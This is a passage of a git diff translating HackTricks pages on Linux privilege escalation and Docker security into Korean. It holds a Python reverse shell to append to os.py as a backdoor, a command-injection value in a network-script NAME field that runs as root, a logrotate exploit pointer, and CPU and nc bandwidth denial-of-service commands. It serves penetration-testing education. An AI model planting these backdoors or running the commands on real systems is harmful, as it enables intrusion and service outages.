라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면 os.py 라이브러리를 복사하여 붙여넣기 하세요). +라이브러리를 **백도어**하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Logrotate 취약점 -### Logrotate exploitation - -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다. > [!NOTE] -> This vulnerability affects `logrotate` version `3.18.0` and older +> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다. -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +취약점에 대한 더 자세한 정보는 이 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 심볼릭 링크로 로그를 대체하여 권한 상승이 가능한지 확인하십시오. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**취약점 참조:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **쓰기** 할 수 있거나 기존 스크립트를 **조정**할 수 있다면, 당신의 **시스템은 pwned**입니다. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +네트워크 스크립트, 예를 들어 _ifcg-eth0_는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 정확히 같습니다. 그러나 이들은 Linux에서 Network Manager( dispatcher.d)에 의해 \~소스\~됩니다. -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +내 경우, 이 네트워크 스크립트에서 `NAME=` 속성이 올바르게 처리되지 않습니다. 이름에 **공백이 있는 경우 시스템은 공백 이후의 부분을 실행하려고 시도합니다**. 이는 **첫 번째 공백 이후의 모든 것이 root로 실행된다는 것을 의미합니다**. +예를 들어: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +### **init, init.d, systemd, 및 rc.d** -(_Note the blank space between Network and /bin/id_) +디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다. -### **init, init.d, systemd, and rc.d** +반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 우분투에서 도입된 최신 **서비스 관리**로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용됩니다. -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자의 수정을 위한 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +## 기타 트릭 -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. - -## Other Tricks - -### NFS Privilege escalation +### NFS 권한 상승 {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### 제한된 셸에서 탈출하기 {{#ref}} escaping-from-limited-bash.md @@ -1610,31 +1378,31 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Kernel Security Protections +## 커널 보안 보호 - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## 추가 도움 -[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) +[정적 impacket 바이너리](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Tools +## 리눅스/유닉스 권한 상승 도구 -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **리눅스 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 옵션)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** 리눅스 및 MAC의 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**더 많은 스크립트의 수집**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## 참고자료 - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index d48f733d4..fa30375a9 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -1,57 +1,46 @@ -# Docker Security +# Docker 보안 {{#include ../../../banners/hacktricks-training.md}} -
+## **기본 Docker 엔진 보안** -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## **Basic Docker Engine Security** - -The **Docker engine** employs the Linux kernel's **Namespaces** and **Cgroups** to isolate containers, offering a basic layer of security. Additional protection is provided through **Capabilities dropping**, **Seccomp**, and **SELinux/AppArmor**, enhancing container isolation. An **auth plugin** can further restrict user actions. +**Docker 엔진**은 Linux 커널의 **네임스페이스**와 **Cgroups**를 사용하여 컨테이너를 격리하여 기본적인 보안 계층을 제공합니다. **Capabilities dropping**, **Seccomp**, 및 **SELinux/AppArmor**를 통해 추가적인 보호가 제공되어 컨테이너 격리가 강화됩니다. **auth 플러그인**은 사용자 작업을 추가로 제한할 수 있습니다. ![Docker Security](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) -### Secure Access to Docker Engine +### Docker 엔진에 대한 안전한 접근 -The Docker engine can be accessed either locally via a Unix socket or remotely using HTTP. For remote access, it's essential to employ HTTPS and **TLS** to ensure confidentiality, integrity, and authentication. - -The Docker engine, by default, listens on the Unix socket at `unix:///var/run/docker.sock`. On Ubuntu systems, Docker's startup options are defined in `/etc/default/docker`. To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Docker 엔진은 Unix 소켓을 통해 로컬에서 또는 HTTP를 사용하여 원격으로 접근할 수 있습니다. 원격 접근을 위해서는 HTTPS와 **TLS**를 사용하여 기밀성, 무결성 및 인증을 보장하는 것이 필수적입니다. +Docker 엔진은 기본적으로 `unix:///var/run/docker.sock`에서 Unix 소켓을 수신 대기합니다. Ubuntu 시스템에서 Docker의 시작 옵션은 `/etc/default/docker`에 정의되어 있습니다. Docker API 및 클라이언트에 대한 원격 접근을 활성화하려면 다음 설정을 추가하여 Docker 데몬을 HTTP 소켓을 통해 노출하십시오: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +그러나 Docker 데몬을 HTTP로 노출하는 것은 보안 문제로 인해 권장되지 않습니다. HTTPS를 사용하여 연결을 보호하는 것이 좋습니다. 연결을 보호하는 두 가지 주요 접근 방식이 있습니다: -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. 클라이언트가 서버의 신원을 확인합니다. +2. 클라이언트와 서버가 서로의 신원을 상호 인증합니다. -1. The client verifies the server's identity. -2. Both the client and server mutually authenticate each other's identity. +서버의 신원을 확인하기 위해 인증서가 사용됩니다. 두 방법에 대한 자세한 예는 [**이 가이드**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)를 참조하십시오. -Certificates are utilized to confirm a server's identity. For detailed examples of both methods, refer to [**this guide**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). +### 컨테이너 이미지의 보안 -### Security of Container Images +컨테이너 이미지는 개인 또는 공용 저장소에 저장될 수 있습니다. Docker는 컨테이너 이미지를 위한 여러 저장 옵션을 제공합니다: -Container images can be stored in either private or public repositories. Docker offers several storage options for container images: +- [**Docker Hub**](https://hub.docker.com): Docker의 공용 레지스트리 서비스. +- [**Docker Registry**](https://github.com/docker/distribution): 사용자가 자신의 레지스트리를 호스팅할 수 있도록 하는 오픈 소스 프로젝트. +- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): 역할 기반 사용자 인증 및 LDAP 디렉토리 서비스와의 통합 기능을 갖춘 Docker의 상업적 레지스트리 제공. -- [**Docker Hub**](https://hub.docker.com): A public registry service from Docker. -- [**Docker Registry**](https://github.com/docker/distribution): An open-source project allowing users to host their own registry. -- [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker's commercial registry offering, featuring role-based user authentication and integration with LDAP directory services. +### 이미지 스캔 -### Image Scanning +컨테이너는 기본 이미지 또는 기본 이미지 위에 설치된 소프트웨어로 인해 **보안 취약점**이 있을 수 있습니다. Docker는 컨테이너의 보안 스캔을 수행하고 취약점을 나열하는 **Nautilus**라는 프로젝트를 진행 중입니다. Nautilus는 각 컨테이너 이미지 레이어를 취약점 저장소와 비교하여 보안 구멍을 식별합니다. -Containers can have **security vulnerabilities** either because of the base image or because of the software installed on top of the base image. Docker is working on a project called **Nautilus** that does security scan of Containers and lists the vulnerabilities. Nautilus works by comparing the each Container image layer with vulnerability repository to identify security holes. - -For more [**information read this**](https://docs.docker.com/engine/scan/). +자세한 [**정보는 여기에서 읽어보세요**](https://docs.docker.com/engine/scan/) . - **`docker scan`** -The **`docker scan`** command allows you to scan existing Docker images using the image name or ID. For example, run the following command to scan the hello-world image: - +**`docker scan`** 명령은 이미지 이름 또는 ID를 사용하여 기존 Docker 이미지를 스캔할 수 있게 해줍니다. 예를 들어, hello-world 이미지를 스캔하려면 다음 명령을 실행하십시오: ```bash docker scan hello-world @@ -67,103 +56,82 @@ Licenses: enabled Note that we do not currently have vulnerability data for your image. ``` - - [**`trivy`**](https://github.com/aquasecurity/trivy) - ```bash trivy -q -f json : ``` - - [**`snyk`**](https://docs.snyk.io/snyk-cli/getting-started-with-the-cli) - ```bash snyk container test --json-file-output= --severity-threshold=high ``` - - [**`clair-scanner`**](https://github.com/arminc/clair-scanner) - ```bash clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 ``` +### Docker 이미지 서명 -### Docker Image Signing +Docker 이미지 서명은 컨테이너에서 사용되는 이미지의 보안성과 무결성을 보장합니다. 간략한 설명은 다음과 같습니다: -Docker image signing ensures the security and integrity of images used in containers. Here's a condensed explanation: - -- **Docker Content Trust** utilizes the Notary project, based on The Update Framework (TUF), to manage image signing. For more info, see [Notary](https://github.com/docker/notary) and [TUF](https://theupdateframework.github.io). -- To activate Docker content trust, set `export DOCKER_CONTENT_TRUST=1`. This feature is off by default in Docker version 1.10 and later. -- With this feature enabled, only signed images can be downloaded. Initial image push requires setting passphrases for the root and tagging keys, with Docker also supporting Yubikey for enhanced security. More details can be found [here](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). -- Attempting to pull an unsigned image with content trust enabled results in a "No trust data for latest" error. -- For image pushes after the first, Docker asks for the repository key's passphrase to sign the image. - -To back up your private keys, use the command: +- **Docker Content Trust**는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 한 Notary 프로젝트를 활용합니다. 자세한 내용은 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하세요. +- Docker 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정합니다. 이 기능은 Docker 버전 1.10 이상에서 기본적으로 꺼져 있습니다. +- 이 기능이 활성화되면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시에는 루트 및 태깅 키에 대한 비밀번호를 설정해야 하며, Docker는 보안을 강화하기 위해 Yubikey도 지원합니다. 더 많은 세부정보는 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다. +- 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 하면 "No trust data for latest" 오류가 발생합니다. +- 첫 번째 이후의 이미지 푸시를 위해 Docker는 이미지를 서명하기 위해 리포지토리 키의 비밀번호를 요청합니다. +개인 키를 백업하려면 다음 명령을 사용하세요: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` +Docker 호스트를 전환할 때, 운영을 유지하기 위해 루트 및 리포지토리 키를 이동하는 것이 필요합니다. -When switching Docker hosts, it's necessary to move the root and repository keys to maintain operations. - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - -## Containers Security Features +## 컨테이너 보안 기능
-Summary of Container Security Features +컨테이너 보안 기능 요약 -**Main Process Isolation Features** +**주요 프로세스 격리 기능** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +컨테이너화된 환경에서 프로젝트와 그 프로세스를 격리하는 것은 보안 및 자원 관리에 있어 매우 중요합니다. 주요 개념에 대한 간단한 설명은 다음과 같습니다: -**Namespaces** +**네임스페이스** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **목적**: 프로세스, 네트워크 및 파일 시스템과 같은 자원의 격리를 보장합니다. 특히 Docker에서는 네임스페이스가 컨테이너의 프로세스를 호스트 및 다른 컨테이너와 분리합니다. +- **`unshare`의 사용**: `unshare` 명령(또는 기본 syscall)은 새로운 네임스페이스를 생성하는 데 사용되어 추가적인 격리 계층을 제공합니다. 그러나 Kubernetes는 본질적으로 이를 차단하지 않지만, Docker는 차단합니다. +- **제한 사항**: 새로운 네임스페이스를 생성하는 것은 프로세스가 호스트의 기본 네임스페이스로 되돌아가는 것을 허용하지 않습니다. 호스트 네임스페이스에 침투하려면 일반적으로 호스트의 `/proc` 디렉토리에 접근해야 하며, `nsenter`를 사용하여 진입합니다. -**Control Groups (CGroups)** +**제어 그룹 (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **기능**: 주로 프로세스 간 자원을 할당하는 데 사용됩니다. +- **보안 측면**: CGroups 자체는 격리 보안을 제공하지 않지만, 잘못 구성된 경우 `release_agent` 기능이 무단 접근을 위해 악용될 수 있습니다. -**Capability Drop** +**능력 드롭** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **중요성**: 프로세스 격리를 위한 중요한 보안 기능입니다. +- **기능**: 특정 능력을 드롭하여 루트 프로세스가 수행할 수 있는 작업을 제한합니다. 프로세스가 루트 권한으로 실행되더라도 필요한 능력이 부족하면 특권 작업을 실행할 수 없으며, 이는 권한 부족으로 인해 syscall이 실패합니다. +이것은 프로세스가 다른 능력을 드롭한 후의 **남은 능력**입니다: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker. It helps to **limit even more the syscalls** that the process can call.\ -The **default Docker Seccomp profile** can be found in [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) +Docker에서 기본적으로 활성화되어 있습니다. 이는 프로세스가 호출할 수 있는 **syscalls를 더욱 제한하는 데 도움을 줍니다**.\ +**기본 Docker Seccomp 프로파일**은 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)에서 찾을 수 있습니다. **AppArmor** -Docker has a template that you can activate: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +Docker에는 활성화할 수 있는 템플릿이 있습니다: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -This will allow to reduce capabilities, syscalls, access to files and folders... +이를 통해 권한, syscalls, 파일 및 폴더에 대한 접근을 줄일 수 있습니다...
### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Namespaces**는 **커널 리소스를 분할**하여 한 집합의 **프로세스**가 한 집합의 **리소스**를 **보고**, **다른** 집합의 **프로세스**가 **다른** 집합의 리소스를 보도록 하는 Linux 커널의 기능입니다. 이 기능은 리소스와 프로세스의 집합에 대해 동일한 네임스페이스를 가지지만, 해당 네임스페이스는 서로 다른 리소스를 참조함으로써 작동합니다. 리소스는 여러 공간에 존재할 수 있습니다. -Docker makes use of the following Linux kernel Namespaces to achieve Container isolation: +Docker는 컨테이너 격리를 달성하기 위해 다음 Linux 커널 네임스페이스를 사용합니다: - pid namespace - mount namespace @@ -171,7 +139,7 @@ Docker makes use of the following Linux kernel Namespaces to achieve Container i - ipc namespace - UTS namespace -For **more information about the namespaces** check the following page: +**네임스페이스에 대한 더 많은 정보**는 다음 페이지를 확인하세요: {{#ref}} namespaces/ @@ -179,86 +147,81 @@ namespaces/ ### cgroups -Linux kernel feature **cgroups** provides capability to **restrict resources like cpu, memory, io, network bandwidth among** a set of processes. Docker allows to create Containers using cgroup feature which allows for resource control for the specific Container.\ -Following is a Container created with user space memory limited to 500m, kernel memory limited to 50m, cpu share to 512, blkioweight to 400. CPU share is a ratio that controls Container’s CPU usage. It has a default value of 1024 and range between 0 and 1024. If three Containers have the same CPU share of 1024, each Container can take upto 33% of CPU in case of CPU resource contention. blkio-weight is a ratio that controls Container’s IO. It has a default value of 500 and range between 10 and 1000. - +Linux 커널 기능 **cgroups**는 **cpu, memory, io, network bandwidth와 같은 리소스를** 프로세스 집합에 대해 **제한할 수 있는 기능**을 제공합니다. Docker는 특정 컨테이너에 대한 리소스 제어를 허용하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\ +다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, cpu share가 512, blkioweight가 400인 컨테이너입니다. CPU share는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. 세 개의 컨테이너가 동일한 CPU share 1024를 가지면, 각 컨테이너는 CPU 리소스 경합 시 최대 33%의 CPU를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` - -To get the cgroup of a container you can do: - +컨테이너의 cgroup을 얻으려면 다음을 수행할 수 있습니다: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process ls -l /proc//ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it) ``` - -For more information check: +더 많은 정보는 확인하세요: {{#ref}} cgroups.md {{#endref}} -### Capabilities +### 권한 -Capabilities allow **finer control for the capabilities that can be allowed** for root user. Docker uses the Linux kernel capability feature to **limit the operations that can be done inside a Container** irrespective of the type of user. +권한은 **루트 사용자에게 허용될 수 있는 권한에 대한 더 세밀한 제어를 가능하게 합니다**. Docker는 Linux 커널 권한 기능을 사용하여 **사용자 유형에 관계없이 컨테이너 내에서 수행할 수 있는 작업을 제한합니다**. -When a docker container is run, the **process drops sensitive capabilities that the proccess could use to escape from the isolation**. This try to assure that the proccess won't be able to perform sensitive actions and escape: +Docker 컨테이너가 실행될 때, **프로세스는 격리에서 탈출하는 데 사용할 수 있는 민감한 권한을 포기합니다**. 이는 프로세스가 민감한 작업을 수행하고 탈출할 수 없도록 보장하려고 합니다: {{#ref}} ../linux-capabilities.md {{#endref}} -### Seccomp in Docker +### Docker의 Seccomp -This is a security feature that allows Docker to **limit the syscalls** that can be used inside the container: +이것은 Docker가 **컨테이너 내에서 사용할 수 있는 시스템 호출을 제한할 수 있게 해주는 보안 기능입니다**: {{#ref}} seccomp.md {{#endref}} -### AppArmor in Docker +### Docker의 AppArmor -**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**.: +**AppArmor**는 **컨테이너**를 **제한된** **리소스** 집합에 **프로그램별 프로필**로 제한하는 커널 향상 기능입니다.: {{#ref}} apparmor.md {{#endref}} -### SELinux in Docker +### Docker의 SELinux -- **Labeling System**: SELinux assigns a unique label to every process and filesystem object. -- **Policy Enforcement**: It enforces security policies that define what actions a process label can perform on other labels within the system. -- **Container Process Labels**: When container engines initiate container processes, they are typically assigned a confined SELinux label, commonly `container_t`. -- **File Labeling within Containers**: Files within the container are usually labeled as `container_file_t`. -- **Policy Rules**: The SELinux policy primarily ensures that processes with the `container_t` label can only interact (read, write, execute) with files labeled as `container_file_t`. +- **레이블링 시스템**: SELinux는 모든 프로세스와 파일 시스템 객체에 고유한 레이블을 할당합니다. +- **정책 집행**: 프로세스 레이블이 시스템 내 다른 레이블에 대해 수행할 수 있는 작업을 정의하는 보안 정책을 집행합니다. +- **컨테이너 프로세스 레이블**: 컨테이너 엔진이 컨테이너 프로세스를 시작할 때, 일반적으로 제한된 SELinux 레이블인 `container_t`가 할당됩니다. +- **컨테이너 내 파일 레이블링**: 컨테이너 내의 파일은 일반적으로 `container_file_t`로 레이블이 지정됩니다. +- **정책 규칙**: SELinux 정책은 주로 `container_t` 레이블을 가진 프로세스가 `container_file_t`로 레이블이 지정된 파일과만 상호작용(읽기, 쓰기, 실행)할 수 있도록 보장합니다. -This mechanism ensures that even if a process within a container is compromised, it's confined to interacting only with objects that have the corresponding labels, significantly limiting the potential damage from such compromises. +이 메커니즘은 컨테이너 내의 프로세스가 손상되더라도 해당 레이블이 있는 객체와만 상호작용하도록 제한되어, 그러한 손상으로 인한 잠재적 피해를 크게 제한합니다. {{#ref}} ../selinux.md {{#endref}} -### AuthZ & AuthN +### AuthZ 및 AuthN -In Docker, an authorization plugin plays a crucial role in security by deciding whether to allow or block requests to the Docker daemon. This decision is made by examining two key contexts: +Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허용하거나 차단할지를 결정하는 데 중요한 역할을 합니다. 이 결정은 두 가지 주요 컨텍스트를 검토하여 이루어집니다: -- **Authentication Context**: This includes comprehensive information about the user, such as who they are and how they've authenticated themselves. -- **Command Context**: This comprises all pertinent data related to the request being made. +- **인증 컨텍스트**: 여기에는 사용자에 대한 포괄적인 정보가 포함되며, 사용자가 누구인지와 어떻게 인증했는지를 포함합니다. +- **명령 컨텍스트**: 이는 요청과 관련된 모든 관련 데이터를 포함합니다. -These contexts help ensure that only legitimate requests from authenticated users are processed, enhancing the security of Docker operations. +이러한 컨텍스트는 인증된 사용자로부터의 합법적인 요청만 처리되도록 보장하여 Docker 작업의 보안을 강화합니다. {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## DoS from a container +## 컨테이너에서의 DoS -If you are not properly limiting the resources a container can use, a compromised container could DoS the host where it's running. +컨테이너가 사용할 수 있는 리소스를 적절히 제한하지 않으면, 손상된 컨테이너가 실행 중인 호스트에 DoS를 일으킬 수 있습니다. - CPU DoS - ```bash # stress-ng sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m @@ -266,18 +229,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` - -- Bandwidth DoS - +- 대역폭 DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` +## 흥미로운 Docker 플래그 -## Interesting Docker Flags +### --privileged 플래그 -### --privileged flag - -In the following page you can learn **what does the `--privileged` flag imply**: +다음 페이지에서 **`--privileged` 플래그가 의미하는 바**를 배울 